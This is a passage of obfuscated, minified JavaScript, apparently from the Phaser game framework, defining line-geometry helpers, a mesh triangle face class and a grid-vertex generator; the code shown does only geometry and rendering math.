_0xdfb5a0 = _0x5c5560(0x16722), _0xc8c74b = _0x5c5560(0x85d); _0x457767['exports'] = function (_0x46e8f7, _0x5aa5a0) { void 0x0 === _0x5aa5a0 && (_0x5aa5a0 = new _0xc8c74b()); var _0xcaf8e1 = _0xdfb5a0(_0x46e8f7) - _0x117fe0['TAU']; return _0x5aa5a0['x'] = Math['cos'](_0xcaf8e1), _0x5aa5a0['y'] = Math['sin'](_0xcaf8e1), _0x5aa5a0; }; }, 0x335f: (_0x2628df, _0x4f48e8, _0x479f30) => { var _0x3a3827 = _0x479f30(0x85d); _0x2628df['exports'] = function (_0x583020, _0x3931f5, _0x3d0f97) { return void 0x0 === _0x3d0f97 && (_0x3d0f97 = new _0x3a3827()), _0x3d0f97['x'] = _0x583020['x1'] + (_0x583020['x2'] - _0x583020['x1']) * _0x3931f5, _0x3d0f97['y'] = _0x583020['y1'] + (_0x583020['y2'] - _0x583020['y1']) * _0x3931f5, _0x3d0f97; }; }, 0x3b9a: (_0x1ab57c, _0x3af9c3, _0x25da3d) => { var _0x2f371d = _0x25da3d(0x88b9), _0x297f93 = _0x25da3d(0x85d); _0x1ab57c['exports'] = function (_0x1bb607, _0x5c7225, _0x4bc369, _0x3735f0) { void 0x0 === _0x3735f0 && (_0x3735f0 = []), !_0x5c7225 && _0x4bc369 > 0x0 && (_0x5c7225 = _0x2f371d(_0x1bb607) / _0x4bc369); for (var _0x3d509d = _0x1bb607['x1'], _0x340f87 = _0x1bb607['y1'], _0x1cfdd2 = _0x1bb607['x2'], _0x2bed89 = _0x1bb607['y2'], _0x5b93cd = 0x0; _0x5b93cd < _0x5c7225; _0x5b93cd++) { var _0x3a601e = _0x5b93cd / _0x5c7225, _0x209d0c = _0x3d509d + (_0x1cfdd2 - _0x3d509d) * _0x3a601e, _0x58c057 = _0x340f87 + (_0x2bed89 - _0x340f87) * _0x3a601e; _0x3735f0['push'](new _0x297f93(_0x209d0c, _0x58c057)); } return _0x3735f0; }; }, 0x6728: _0x50ead9 => { _0x50ead9['exports'] = function (_0x2e82b2, _0x17f4a8) { var _0x5a49b9 = _0x2e82b2['x1'], _0x3b9768 = _0x2e82b2['y1'], _0x1d5828 = _0x2e82b2['x2'], _0x3c432f = _0x2e82b2['y2'], _0x2d07c8 = (_0x1d5828 - _0x5a49b9) * (_0x1d5828 - _0x5a49b9) + (_0x3c432f - _0x3b9768) * (_0x3c432f - _0x3b9768); if (0x0 === _0x2d07c8) return !0x1; var _0x464b6a = ((_0x3b9768 - _0x17f4a8['y']) * (_0x1d5828 - _0x5a49b9) - (_0x5a49b9 - _0x17f4a8['x']) * (_0x3c432f - _0x3b9768)) / _0x2d07c8; return Math['abs'](_0x464b6a) * Math['sqrt'](_0x2d07c8); }; }, 0x181d2: _0x5afd06 => { _0x5afd06['exports'] = function (_0x4f1c30) { return Math['abs'](_0x4f1c30['y1'] - _0x4f1c30['y2']); }; }, 0x88b9: _0x5cfc7d => { _0x5cfc7d['exports'] = function (_0x3a3e06) { return Math['sqrt']((_0x3a3e06['x2'] - _0x3a3e06['x1']) * (_0x3a3e06['x2'] - _0x3a3e06['x1']) + (_0x3a3e06['y2'] - _0x3a3e06['y1']) * (_0x3a3e06['y2'] - _0x3a3e06['y1'])); }; }, 0x59f7: (_0x3dea72, _0x1b1af9, _0x1bf273) => { var _0x183051 = _0x1bf273(0x145db), _0x3cab5b = _0x1bf273(0x335f), _0x3921db = _0x1bf273(0x3b9a), _0x51dc08 = _0x1bf273(0x5ce1), _0x2f3cf4 = _0x1bf273(0x1011e), _0x49fbab = _0x1bf273(0x65f3), _0x239035 = new _0x183051({ 'initialize': function (_0x5e66d4, _0x5deac0, _0x4dc4a9, _0x4bb893) { void 0x0 === _0x5e66d4 && (_0x5e66d4 = 0x0), void 0x0 === _0x5deac0 && (_0x5deac0 = 0x0), void 0x0 === _0x4dc4a9 && (_0x4dc4a9 = 0x0), void 0x0 === _0x4bb893 && (_0x4bb893 = 0x0), this['type'] = _0x51dc08['LINE'], this['x1'] = _0x5e66d4, this['y1'] = _0x5deac0, this['x2'] = _0x4dc4a9, this['y2'] = _0x4bb893; }, 'getPoint': function (_0x5c91e6, _0x143ab3) { return _0x3cab5b(this, _0x5c91e6, _0x143ab3); }, 'getPoints': function (_0x49d82f, _0x225615, _0x5ac851) { return _0x3921db(this, _0x49d82f, _0x225615, _0x5ac851); }, 'getRandomPoint': function (_0x411f4d) { return _0x2f3cf4(this, _0x411f4d); }, 'setTo': function (_0x3e1ab6, _0x4265b1, _0x7013cc, _0x216eb3) { return void 0x0 === _0x3e1ab6 && (_0x3e1ab6 = 0x0), void 0x0 === _0x4265b1 && (_0x4265b1 = 0x0), void 0x0 === _0x7013cc && (_0x7013cc = 0x0), void 0x0 === _0x216eb3 && (_0x216eb3 = 0x0), this['x1'] = _0x3e1ab6, this['y1'] = _0x4265b1, this['x2'] = _0x7013cc, this['y2'] = _0x216eb3, this; }, 'setFromObjects': function (_0x568058, _0x3c4cfa) { return this['x1'] = _0x568058['x'], this['y1'] = _0x568058['y'], this['x2'] = _0x3c4cfa['x'], this['y2'] = _0x3c4cfa['y'], this; }, 'getPointA': function (_0x54938a) { return void 0x0 === _0x54938a && (_0x54938a = new _0x49fbab()), _0x54938a['set'](this['x1'], this['y1']), _0x54938a; }, 'getPointB': function (_0x43d48a) { return void 0x0 === _0x43d48a && (_0x43d48a = new _0x49fbab()), _0x43d48a['set'](this['x2'], this['y2']), _0x43d48a; }, 'left': { 'get': function () { return Math['min'](this['x1'], this['x2']); }, 'set': function (_0x3ec629) { this['x1'] <= this['x2'] ? this['x1'] = _0x3ec629 : this['x2'] = _0x3ec629; } }, 'right': { 'get': function () { return Math['max'](this['x1'], this['x2']); }, 'set': function (_0x18b2c6) { this['x1'] > this['x2'] ? this['x1'] = _0x18b2c6 : this['x2'] = _0x18b2c6; } }, 'top': { 'get': function () { return Math['min'](this['y1'], this['y2']); }, 'set': function (_0x121830) { this['y1'] <= this['y2'] ? this['y1'] = _0x121830 : this['y2'] = _0x121830; } }, 'bottom': { 'get': function () { return Math['max'](this['y1'], this['y2']); }, 'set': function (_0x7a1e4f) { this['y1'] > this['y2'] ? this['y1'] = _0x7a1e4f : this['y2'] = _0x7a1e4f; } } }); _0x3dea72['exports'] = _0x239035; }, 0xfd1b: (_0x33a668, _0x8f99bc, _0x5a411b) => { var _0x3cd1bb = _0x5a411b(0x8e1f), _0x12edcc = _0x5a411b(0x3e7a), _0x44eccf = _0x5a411b(0x16722); _0x33a668['exports'] = function (_0x3b3b13) { var _0x445cc2 = _0x44eccf(_0x3b3b13) - _0x3cd1bb['TAU']; return _0x12edcc(_0x445cc2, -Math['PI'], Math['PI']); }; }, 0xcd88: (_0x97122d, _0x323018, _0x56f798) => { var _0x4afb56 = _0x56f798(0x8e1f), _0x3a2fec = _0x56f798(0x16722); _0x97122d['exports'] = function (_0x174b98) { return Math['cos'](_0x3a2fec(_0x174b98) - _0x4afb56['TAU']); }; }, 0x154bf: (_0x15b885, _0x22820f, _0x542622) => { var _0x5e2f05 = _0x542622(0x8e1f), _0x524e9b = _0x542622(0x16722); _0x15b885['exports'] = function (_0x5888bf) { return Math['sin'](_0x524e9b(_0x5888bf) - _0x5e2f05['TAU']); }; }, 0x15e3e: _0x3dce10 => { _0x3dce10['exports'] = function (_0x31fdcd, _0x5ef0d2, _0xf323a9) { return _0x31fdcd['x1'] += _0x5ef0d2, _0x31fdcd['y1'] += _0xf323a9, _0x31fdcd['x2'] += _0x5ef0d2, _0x31fdcd['y2'] += _0xf323a9, _0x31fdcd; }; }, 0x115fd: _0x31b6ec => { _0x31b6ec['exports'] = function (_0x51e30d) { return -(_0x51e30d['x2'] - _0x51e30d['x1']) / (_0x51e30d['y2'] - _0x51e30d['y1']); }; }, 0x1011e: (_0x329bd7, _0x5bc0bb, _0x34929b) => { var _0x81630d = _0x34929b(0x85d); _0x329bd7['exports'] = function (_0x4f8944, _0x48e5fb) { void 0x0 === _0x48e5fb && (_0x48e5fb = new _0x81630d()); var _0x5ae920 = Math['random'](); return _0x48e5fb['x'] = _0x4f8944['x1'] + _0x5ae920 * (_0x4f8944['x2'] - _0x4f8944['x1']), _0x48e5fb['y'] = _0x4f8944['y1'] + _0x5ae920 * (_0x4f8944['y2'] - _0x4f8944['y1']), _0x48e5fb; }; }, 0x11091: (_0x25be09, _0x33840a, _0x212000) => { var _0x126b11 = _0x212000(0x16722), _0x1626b8 = _0x212000(0xfd1b); _0x25be09['exports'] = function (_0x426e0c, _0x39913f) { return 0x2 * _0x1626b8(_0x39913f) - Math['PI'] - _0x126b11(_0x426e0c); }; }, 0x9b1a: (_0x4c3a80, _0x4ac74a, _0x2401ed) => { var _0x5bbcfb = _0x2401ed(0xfb90); _0x4c3a80['exports'] = function (_0x17c14c, _0x13d567) { var _0x7581e = (_0x17c14c['x1'] + _0x17c14c['x2']) / 0x2, _0x2cd0d2 = (_0x17c14c['y1'] + _0x17c14c['y2']) / 0x2; return _0x5bbcfb(_0x17c14c, _0x7581e, _0x2cd0d2, _0x13d567); }; }, 0x14299: (_0x2b440b, _0x3b2238, _0x41cc96) => { var _0x317432 = _0x41cc96(0xfb90); _0x2b440b['exports'] = function (_0x17790d, _0x768c30, _0x42f7f1) { return _0x317432(_0x17790d, _0x768c30['x'], _0x768c30['y'], _0x42f7f1); }; }, 0xfb90: _0x307376 => { _0x307376['exports'] = function (_0x13d278, _0x265290, _0x3c1120, _0x110e45) { var _0x289e87 = Math['cos'](_0x110e45), _0x41b735 = Math['sin'](_0x110e45), _0x13f676 = _0x13d278['x1'] - _0x265290, _0x28fe20 = _0x13d278['y1'] - _0x3c1120; return _0x13d278['x1'] = _0x13f676 * _0x289e87 - _0x28fe20 * _0x41b735 + _0x265290, _0x13d278['y1'] = _0x13f676 * _0x41b735 + _0x28fe20 * _0x289e87 + _0x3c1120, _0x13f676 = _0x13d278['x2'] - _0x265290, _0x28fe20 = _0x13d278['y2'] - _0x3c1120, _0x13d278['x2'] = _0x13f676 * _0x289e87 - _0x28fe20 * _0x41b735 + _0x265290, _0x13d278['y2'] = _0x13f676 * _0x41b735 + _0x28fe20 * _0x289e87 + _0x3c1120, _0x13d278; }; }, 0xf3a9: _0x3be3e8 => { _0x3be3e8['exports'] = function (_0x58b178, _0x2cc1a6, _0x4996b9, _0x4292f7, _0x5a569b) { return _0x58b178['x1'] = _0x2cc1a6, _0x58b178['y1'] = _0x4996b9, _0x58b178['x2'] = _0x2cc1a6 + Math['cos'](_0x4292f7) * _0x5a569b, _0x58b178['y2'] = _0x4996b9 + Math['sin'](_0x4292f7) * _0x5a569b, _0x58b178; }; }, 0x116c6: _0x49cc39 => { _0x49cc39['exports'] = function (_0x3f6a62) { return (_0x3f6a62['y2'] - _0x3f6a62['y1']) / (_0x3f6a62['x2'] - _0x3f6a62['x1']); }; }, 0x2a39: _0x472c8f => { _0x472c8f['exports'] = function (_0x7192da) { return Math['abs'](_0x7192da['x1'] - _0x7192da['x2']); }; }, 0x9e1: (_0x136ce9, _0x2fc1e4, _0x8fe99c) => { var _0x2b6658 = _0x8fe99c(0x59f7); _0x2b6658['Angle'] = _0x8fe99c(0x16722), _0x2b6658['BresenhamPoints'] = _0x8fe99c(0x14c01), _0x2b6658['CenterOn'] = _0x8fe99c(0x8e75), _0x2b6658['Clone'] = _0x8fe99c(0x798c), _0x2b6658['CopyFrom'] = _0x8fe99c(0xea28), _0x2b6658['Equals'] = _0x8fe99c(0xe754), _0x2b6658['Extend'] = _0x8fe99c(0x13161), _0x2b6658['GetEasedPoints'] = _0x8fe99c(0x6854), _0x2b6658['GetMidPoint'] = _0x8fe99c(0x7d7d), _0x2b6658['GetNearestPoint'] = _0x8fe99c(0x184f1), _0x2b6658['GetNormal'] = _0x8fe99c(0x874e), _0x2b6658['GetPoint'] = _0x8fe99c(0x335f), _0x2b6658['GetPoints'] = _0x8fe99c(0x3b9a), _0x2b6658['GetShortestDistance'] = _0x8fe99c(0x6728), _0x2b6658['Height'] = _0x8fe99c(0x181d2), _0x2b6658['Length'] = _0x8fe99c(0x88b9), _0x2b6658['NormalAngle'] = _0x8fe99c(0xfd1b), _0x2b6658['NormalX'] = _0x8fe99c(0xcd88), _0x2b6658['NormalY'] = _0x8fe99c(0x154bf), _0x2b6658['Offset'] = _0x8fe99c(0x15e3e), _0x2b6658['PerpSlope'] = _0x8fe99c(0x115fd), _0x2b6658['Random'] = _0x8fe99c(0x1011e), _0x2b6658['ReflectAngle'] = _0x8fe99c(0x11091), _0x2b6658['Rotate'] = _0x8fe99c(0x9b1a), _0x2b6658['RotateAroundPoint'] = _0x8fe99c(0x14299), _0x2b6658['RotateAroundXY'] = _0x8fe99c(0xfb90), _0x2b6658['SetToAngle'] = _0x8fe99c(0xf3a9), _0x2b6658['Slope'] = _0x8fe99c(0x116c6), _0x2b6658['Width'] = _0x8fe99c(0x2a39), _0x136ce9['exports'] = _0x2b6658; }, 0x1481d: (_0x165be6, _0x30500f, _0x756125) => { var _0x12b8b7 = _0x756125(0x145db), _0x53d061 = _0x756125(0x15721), _0x29dac2 = _0x756125(0x65f3); function _0x53fe7c(_0x7c356e, _0x43c2c7, _0x395aa5, _0x4a6094) { var _0x14bb34 = _0x7c356e - _0x395aa5, _0x4e877a = _0x43c2c7 - _0x4a6094, _0x5794d0 = _0x14bb34 * _0x14bb34 + _0x4e877a * _0x4e877a; return Math['sqrt'](_0x5794d0); } var _0x1b105f = new _0x12b8b7({ 'initialize': function (_0x45a91c, _0x398f6d, _0x168c7b) { this['vertex1'] = _0x45a91c, this['vertex2'] = _0x398f6d, this['vertex3'] = _0x168c7b, this['bounds'] = new _0x53d061(), this['_inCenter'] = new _0x29dac2(); }, 'getInCenter': function (_0x11c487) { void 0x0 === _0x11c487 && (_0x11c487 = !0x0); var _0x55e463, _0x3cb090, _0x5e0dc2, _0x14c238, _0x1f7987, _0x649e2a, _0x38397e = this['vertex1'], _0x3f4342 = this['vertex2'], _0x3a68e4 = this['vertex3']; _0x11c487 ? (_0x55e463 = _0x38397e['x'], _0x3cb090 = _0x38397e['y'], _0x5e0dc2 = _0x3f4342['x'], _0x14c238 = _0x3f4342['y'], _0x1f7987 = _0x3a68e4['x'], _0x649e2a = _0x3a68e4['y']) : (_0x55e463 = _0x38397e['vx'], _0x3cb090 = _0x38397e['vy'], _0x5e0dc2 = _0x3f4342['vx'], _0x14c238 = _0x3f4342['vy'], _0x1f7987 = _0x3a68e4['vx'], _0x649e2a = _0x3a68e4['vy']); var _0x5c55a0 = _0x53fe7c(_0x1f7987, _0x649e2a, _0x5e0dc2, _0x14c238), _0x205208 = _0x53fe7c(_0x55e463, _0x3cb090, _0x1f7987, _0x649e2a), _0x4e5ddb = _0x53fe7c(_0x5e0dc2, _0x14c238, _0x55e463, _0x3cb090), _0xc8889a = _0x5c55a0 + _0x205208 + _0x4e5ddb; return this['_inCenter']['set']((_0x55e463 * _0x5c55a0 + _0x5e0dc2 * _0x205208 + _0x1f7987 * _0x4e5ddb) / _0xc8889a, (_0x3cb090 * _0x5c55a0 + _0x14c238 * _0x205208 + _0x649e2a * _0x4e5ddb) / _0xc8889a); }, 'contains': function (_0x76a774, _0x4f9624, _0x1a4ba7) { var _0x39f25e = this['vertex1'], _0x24219b = this['vertex2'], _0x2aa08c = this['vertex3'], _0x150bc9 = _0x39f25e['vx'], _0xc2f5da = _0x39f25e['vy'], _0x253339 = _0x24219b['vx'], _0x2a0aea = _0x24219b['vy'], _0x26ec63 = _0x2aa08c['vx'], _0x20e45b = _0x2aa08c['vy']; if (_0x1a4ba7) { var _0x4cdc73 = _0x1a4ba7['a'], _0x5ab5ac = _0x1a4ba7['b'], _0x3b940f = _0x1a4ba7['c'], _0x23cb50 = _0x1a4ba7['d'], _0x1172a0 = _0x1a4ba7['e'], _0x3f7422 = _0x1a4ba7['f']; _0x150bc9 = _0x39f25e['vx'] * _0x4cdc73 + _0x39f25e['vy'] * _0x3b940f + _0x1172a0, _0xc2f5da = _0x39f25e['vx'] * _0x5ab5ac + _0x39f25e['vy'] * _0x23cb50 + _0x3f7422, _0x253339 = _0x24219b['vx'] * _0x4cdc73 + _0x24219b['vy'] * _0x3b940f + _0x1172a0, _0x2a0aea = _0x24219b['vx'] * _0x5ab5ac + _0x24219b['vy'] * _0x23cb50 + _0x3f7422, _0x26ec63 = _0x2aa08c['vx'] * _0x4cdc73 + _0x2aa08c['vy'] * _0x3b940f + _0x1172a0, _0x20e45b = _0x2aa08c['vx'] * _0x5ab5ac + _0x2aa08c['vy'] * _0x23cb50 + _0x3f7422; } var _0x37e282 = _0x26ec63 - _0x150bc9, _0x1f8389 = _0x20e45b - _0xc2f5da, _0xdc0806 = _0x253339 - _0x150bc9, _0x46094d = _0x2a0aea - _0xc2f5da, _0x423e6f = _0x76a774 - _0x150bc9, _0x5e7d5d = _0x4f9624 - _0xc2f5da, _0x391cc6 = _0x37e282 * _0x37e282 + _0x1f8389 * _0x1f8389, _0x827b7f = _0x37e282 * _0xdc0806 + _0x1f8389 * _0x46094d, _0x25800a = _0x37e282 * _0x423e6f + _0x1f8389 * _0x5e7d5d, _0x26d6b6 = _0xdc0806 * _0xdc0806 + _0x46094d * _0x46094d, _0x248155 = _0xdc0806 * _0x423e6f + _0x46094d * _0x5e7d5d, _0x1316d0 = _0x391cc6 * _0x26d6b6 - _0x827b7f * _0x827b7f, _0x4d81d7 = 0x0 === _0x1316d0 ? 0x0 : 0x1 / _0x1316d0, _0x50e007 = (_0x26d6b6 * _0x25800a - _0x827b7f * _0x248155) * _0x4d81d7, _0x1e1486 = (_0x391cc6 * _0x248155 - _0x827b7f * _0x25800a) * _0x4d81d7; return _0x50e007 >= 0x0 && _0x1e1486 >= 0x0 && _0x50e007 + _0x1e1486 < 0x1; }, 'isCounterClockwise': function (_0x2aaf90) { var _0xfdb781 = this['vertex1'], _0x3180c4 = this['vertex2'], _0x4812e5 = this['vertex3'], _0x5c80ba = (_0x3180c4['vx'] - _0xfdb781['vx']) * (_0x4812e5['vy'] - _0xfdb781['vy']) - (_0x3180c4['vy'] - _0xfdb781['vy']) * (_0x4812e5['vx'] - _0xfdb781['vx']); return _0x2aaf90 <= 0x0 ? _0x5c80ba >= 0x0 : _0x5c80ba < 0x0; }, 'load': function (_0x2b0d9c, _0x5a384e, _0x559956, _0x460ee9, _0x1d78a9) { return _0x559956 = this['vertex1']['load'](_0x2b0d9c, _0x5a384e, _0x559956, _0x460ee9, _0x1d78a9), _0x559956 = this['vertex2']['load'](_0x2b0d9c, _0x5a384e, _0x559956, _0x460ee9, _0x1d78a9), _0x559956 = this['vertex3']['load'](_0x2b0d9c, _0x5a384e, _0x559956, _0x460ee9, _0x1d78a9); }, 'transformCoordinatesLocal': function (_0x22a5e3, _0xbb5d0b, _0x1f0de5, _0x186291) { return this['vertex1']['transformCoordinatesLocal'](_0x22a5e3, _0xbb5d0b, _0x1f0de5, _0x186291), this['vertex2']['transformCoordinatesLocal'](_0x22a5e3, _0xbb5d0b, _0x1f0de5, _0x186291), this['vertex3']['transformCoordinatesLocal'](_0x22a5e3, _0xbb5d0b, _0x1f0de5, _0x186291), this; }, 'updateBounds': function () { var _0x2a35a1 = this['vertex1'], _0x31bba6 = this['vertex2'], _0x2dd877 = this['vertex3'], _0xf2076d = this['bounds']; return _0xf2076d['x'] = Math['min'](_0x2a35a1['vx'], _0x31bba6['vx'], _0x2dd877['vx']), _0xf2076d['y'] = Math['min'](_0x2a35a1['vy'], _0x31bba6['vy'], _0x2dd877['vy']), _0xf2076d['width'] = Math['max'](_0x2a35a1['vx'], _0x31bba6['vx'], _0x2dd877['vx']) - _0xf2076d['x'], _0xf2076d['height'] = Math['max'](_0x2a35a1['vy'], _0x31bba6['vy'], _0x2dd877['vy']) - _0xf2076d['y'], this; }, 'isInView': function (_0x52fe2c, _0x4fd84f, _0x1f400b, _0x210f63, _0x311dc7, _0x1d0a45, _0x14d4b9, _0x12666d, _0x33c08f, _0x101cdb, _0x309b2d) { this['update'](_0x210f63, _0x311dc7, _0x1d0a45, _0x14d4b9, _0x12666d, _0x33c08f, _0x101cdb, _0x309b2d); var _0x3baf67 = this['vertex1'], _0x220bf6 = this['vertex2'], _0xe4dd38 = this['vertex3']; if (_0x3baf67['ta'] <= 0x0 && _0x220bf6['ta'] <= 0x0 && _0xe4dd38['ta'] <= 0x0) return !0x1; if (_0x4fd84f && !this['isCounterClockwise'](_0x1f400b)) return !0x1; var _0x2f4e10 = this['bounds']; _0x2f4e10['x'] = Math['min'](_0x3baf67['tx'], _0x220bf6['tx'], _0xe4dd38['tx']), _0x2f4e10['y'] = Math['min'](_0x3baf67['ty'], _0x220bf6['ty'], _0xe4dd38['ty']), _0x2f4e10['width'] = Math['max'](_0x3baf67['tx'], _0x220bf6['tx'], _0xe4dd38['tx']) - _0x2f4e10['x'], _0x2f4e10['height'] = Math['max'](_0x3baf67['ty'], _0x220bf6['ty'], _0xe4dd38['ty']) - _0x2f4e10['y']; var _0x505a4e = _0x52fe2c['x'] + _0x52fe2c['width'], _0x4fcda0 = _0x52fe2c['y'] + _0x52fe2c['height']; return !(_0x2f4e10['width'] <= 0x0 || _0x2f4e10['height'] <= 0x0 || _0x52fe2c['width'] <= 0x0 || _0x52fe2c['height'] <= 0x0 || _0x2f4e10['right'] < _0x52fe2c['x'] || _0x2f4e10['bottom'] < _0x52fe2c['y'] || _0x2f4e10['x'] > _0x505a4e || _0x2f4e10['y'] > _0x4fcda0); }, 'scrollUV': function (_0x5e30b8, _0x36329e) { return this['vertex1']['scrollUV'](_0x5e30b8, _0x36329e), this['vertex2']['scrollUV'](_0x5e30b8, _0x36329e), this['vertex3']['scrollUV'](_0x5e30b8, _0x36329e), this; }, 'scaleUV': function (_0x3c69aa, _0x5f1090) { return this['vertex1']['scaleUV'](_0x3c69aa, _0x5f1090), this['vertex2']['scaleUV'](_0x3c69aa, _0x5f1090), this['vertex3']['scaleUV'](_0x3c69aa, _0x5f1090), this; }, 'setColor': function (_0x5cdbd8) { return this['vertex1']['color'] = _0x5cdbd8, this['vertex2']['color'] = _0x5cdbd8, this['vertex3']['color'] = _0x5cdbd8, this; }, 'update': function (_0x3116b9, _0x13e867, _0x380392, _0xdeb71e, _0x5d7998, _0x152e62, _0x1daacd, _0x39f7e4) { return this['vertex1']['update'](_0x13e867, _0x380392, _0xdeb71e, _0x5d7998, _0x152e62, _0x1daacd, _0x39f7e4, _0x3116b9), this['vertex2']['update'](_0x13e867, _0x380392, _0xdeb71e, _0x5d7998, _0x152e62, _0x1daacd, _0x39f7e4, _0x3116b9), this['vertex3']['update'](_0x13e867, _0x380392, _0xdeb71e, _0x5d7998, _0x152e62, _0x1daacd, _0x39f7e4, _0x3116b9), this; }, 'translate': function (_0x578e09, _0x5d1ca6) { void 0x0 === _0x5d1ca6 && (_0x5d1ca6 = 0x0); var _0x457a70 = this['vertex1'], _0x1e9e24 = this['vertex2'], _0x30b2cd = this['vertex3']; return _0x457a70['x'] += _0x578e09, _0x457a70['y'] += _0x5d1ca6, _0x1e9e24['x'] += _0x578e09, _0x1e9e24['y'] += _0x5d1ca6, _0x30b2cd['x'] += _0x578e09, _0x30b2cd['y'] += _0x5d1ca6, this; }, 'x': { 'get': function () { return this['getInCenter']()['x']; }, 'set': function (_0x1fd3e3) { var _0x3affdb = this['getInCenter'](); this['translate'](_0x1fd3e3 - _0x3affdb['x'], 0x0); } }, 'y': { 'get': function () { return this['getInCenter']()['y']; }, 'set': function (_0x4733a9) { var _0x5948bd = this['getInCenter'](); this['translate'](0x0, _0x4733a9 - _0x5948bd['y']); } }, 'alpha': { 'get': function () { var _0x3a310f = this['vertex1'], _0x1d41ff = this['vertex2'], _0x32b468 = this['vertex3']; return (_0x3a310f['alpha'] + _0x1d41ff['alpha'] + _0x32b468['alpha']) / 0x3; }, 'set': function (_0x51108) { this['vertex1']['alpha'] = _0x51108, this['vertex2']['alpha'] = _0x51108, this['vertex3']['alpha'] = _0x51108; } }, 'depth': { 'get': function () { var _0x589245 = this['vertex1'], _0x48c655 = this['vertex2'], _0x52b818 = this['vertex3']; return (_0x589245['vz'] + _0x48c655['vz'] + _0x52b818['vz']) / 0x3; } }, 'destroy': function () { this['vertex1'] = null, this['vertex2'] = null, this['vertex3'] = null; } }); _0x165be6['exports'] = _0x1b105f; }, 0xbea3: (_0xbfb008, _0x411943, _0x2e7eb2) => { var _0x4995ac = _0x2e7eb2(0x1481d), _0x2f15f2 = _0x2e7eb2(0x17534), _0x4db3c3 = _0x2e7eb2(0x93eb), _0x357715 = _0x2e7eb2(0x64ec), _0xb474ec = _0x2e7eb2(0x9996), _0xd1226d = new _0x357715(), _0x545e6e = new _0x357715(), _0x12fab1 = new _0x4db3c3(); _0xbfb008['exports'] = function (_0x905417) { var _0x45e19b, _0x491bca = _0x2f15f2(_0x905417, 'mesh'), _0x1d24d2 = _0x2f15f2(_0x905417, 'texture', null), _0x26688b = _0x2f15f2(_0x905417, 'frame'), _0x14cbe6 = _0x2f15f2(_0x905417, 'width', 0x1), _0x587c1e = _0x2f15f2(_0x905417, 'height', _0x14cbe6), _0x21bd7c = _0x2f15f2(_0x905417, 'widthSegments', 0x1), _0x4ee897 = _0x2f15f2(_0x905417, 'heightSegments', _0x21bd7c), _0x2f06ce = _0x2f15f2(_0x905417, 'x', 0x0), _0x54235f = _0x2f15f2(_0x905417, 'y', 0x0), _0x248cab = _0x2f15f2(_0x905417, 'z', 0x0), _0x11efc1 = _0x2f15f2(_0x905417, 'rotateX', 0x0), _0x4c7605 = _0x2f15f2(_0x905417, 'rotateY', 0x0), _0x23d6ba = _0x2f15f2(_0x905417, 'rotateZ', 0x0), _0x101429 = _0x2f15f2(_0x905417, 'zIsUp', !0x0), _0x129cac = _0x2f15f2(_0x905417, 'isOrtho', !!_0x491bca && _0x491bca['dirtyCache'][0xb]), _0x1d3e4e = _0x2f15f2(_0x905417, 'colors', [0xffffff]), _0x3cd279 = _0x2f15f2(_0x905417, 'alphas', [0x1]), _0x28d171 = _0x2f15f2(_0x905417, 'tile', !0x1), _0x5deaee = _0x2f15f2(_0x905417, 'flipY', !0x1), _0x47a0d0 = _0x2f15f2(_0x905417, 'width', null), _0x5dc8dd = { 'faces': [], 'verts': [] }; if (_0xd1226d['set'](_0x2f06ce, _0x54235f, _0x248cab), _0x545e6e['set'](_0x11efc1, _0x4c7605, _0x23d6ba), _0x12fab1['fromRotationXYTranslation'](_0x545e6e, _0xd1226d, _0x101429), !_0x1d24d2 && _0x491bca) _0x1d24d2 = _0x491bca['texture'], _0x26688b || (_0x45e19b = _0x491bca['frame']); else { if (_0x491bca && 'string' == typeof _0x1d24d2) _0x1d24d2 = _0x491bca['scene']['sys']['textures']['get'](_0x1d24d2); else { if (!_0x1d24d2) return _0x5dc8dd; } } _0x45e19b || (_0x45e19b = _0x1d24d2['get'](_0x26688b)), !_0x47a0d0 && _0x129cac && _0x1d24d2 && _0x491bca && (_0x14cbe6 = _0x45e19b['width'] / _0x491bca['height'], _0x587c1e = _0x45e19b['height'] / _0x491bca['height']); var _0x11fee9, _0x1d0397, _0x19bcac = _0x14cbe6 / 0x2, _0x13e1a6 = _0x587c1e / 0x2, _0x1d0238 = Math['floor'](_0x21bd7c), _0x3c72b3 = Math['floor'](_0x4ee897), _0x55b929 = _0x1d0238 + 0x1, _0x3f5297 = _0x3c72b3 + 0x1, _0x17c1b6 = _0x14cbe6 / _0x1d0238, _0x143eaf = _0x587c1e / _0x3c72b3, _0x10b0ba = [], _0x14b55a = [], _0x38f010 = 0x0, _0x471906 = 0x1, _0x4882a6 = 0x0, _0x4513d0 = 0x1; _0x45e19b && (_0x38f010 = _0x45e19b['u0'], _0x471906 = _0x45e19b['u1'], _0x5deaee ? (_0x4882a6 = _0x45e19b['v1'], _0x4513d0 = _0x45e19b['v0']) : (_0x4882a6 = _0x45e19b['v0'], _0x4513d0 = _0x45e19b['v1'])); var _0x443bca = _0x471906 - _0x38f010, _0x33650e = _0x4513d0 - _0x4882a6; for (_0x1d0397 = 0x0; _0x1d0397 < _0x3f5297; _0x1d0397++) { var _0x302aa8 = _0x1d0397 * _0x143eaf - _0x13e1a6; for (_0x11fee9 = 0x0; _0x11fee9 < _0x55b929; _0x11fee9++) { var _0x5de5d9 = _0x11fee9 * _0x17c1b6 - _0x19bcac; _0x14b55a['push'](_0x5de5d9, -_0x302aa8); var _0x2f6e8d = _0x38f010 + _0x443bca * (_0x11fee9 / _0x1d0238), _0x4ae506 = _0x4882a6 + _0x33650e * (_0x1d0397 / _0x3c72b3); _0x10b0ba['push'](_0x2f6e8d, _0x4ae506); } } Array['isArray'](_0x1d3e4e) || (_0x1d3e4e = [_0x1d3e4e]), Array['isArray'](_0x3cd279) || (_0x3cd279 = [_0x3cd279]); var _0x530652 = 0x0, _0x4f0033 = 0x0; for (_0x1d0397 = 0x0; _0x1d0397 < _0x3c72b3; _0x1d0397++)for (_0x11fee9 = 0x0; _0x11fee9 < _0x1d0238; _0x11fee9++) { var _0x19441b = 0x2 * (_0x11fee9 + _0x55b929 * _0x1d0397), _0x1bc0af = 0x2 * (_0x11fee9 + _0x55b929 * (_0x1d0397 + 0x1)), _0x1a6115 = 0x2 * (_0x11fee9 + 0x1 + _0x55b929 * (_0x1d0397 + 0x1)), _0x5083e5 = 0x2 * (_0x11fee9 + 0x1 + _0x55b929 * _0x1d0397), _0x26c1fa = _0x1d3e4e[_0x4f0033], _0x265e2d = _0x3cd279[_0x530652], _0x4080f4 = new _0xb474ec(_0x14b55a[_0x19441b], _0x14b55a[_0x19441b + 0x1], 0x0, _0x10b0ba[_0x19441b], _0x10b0ba[_0x19441b + 0x1], 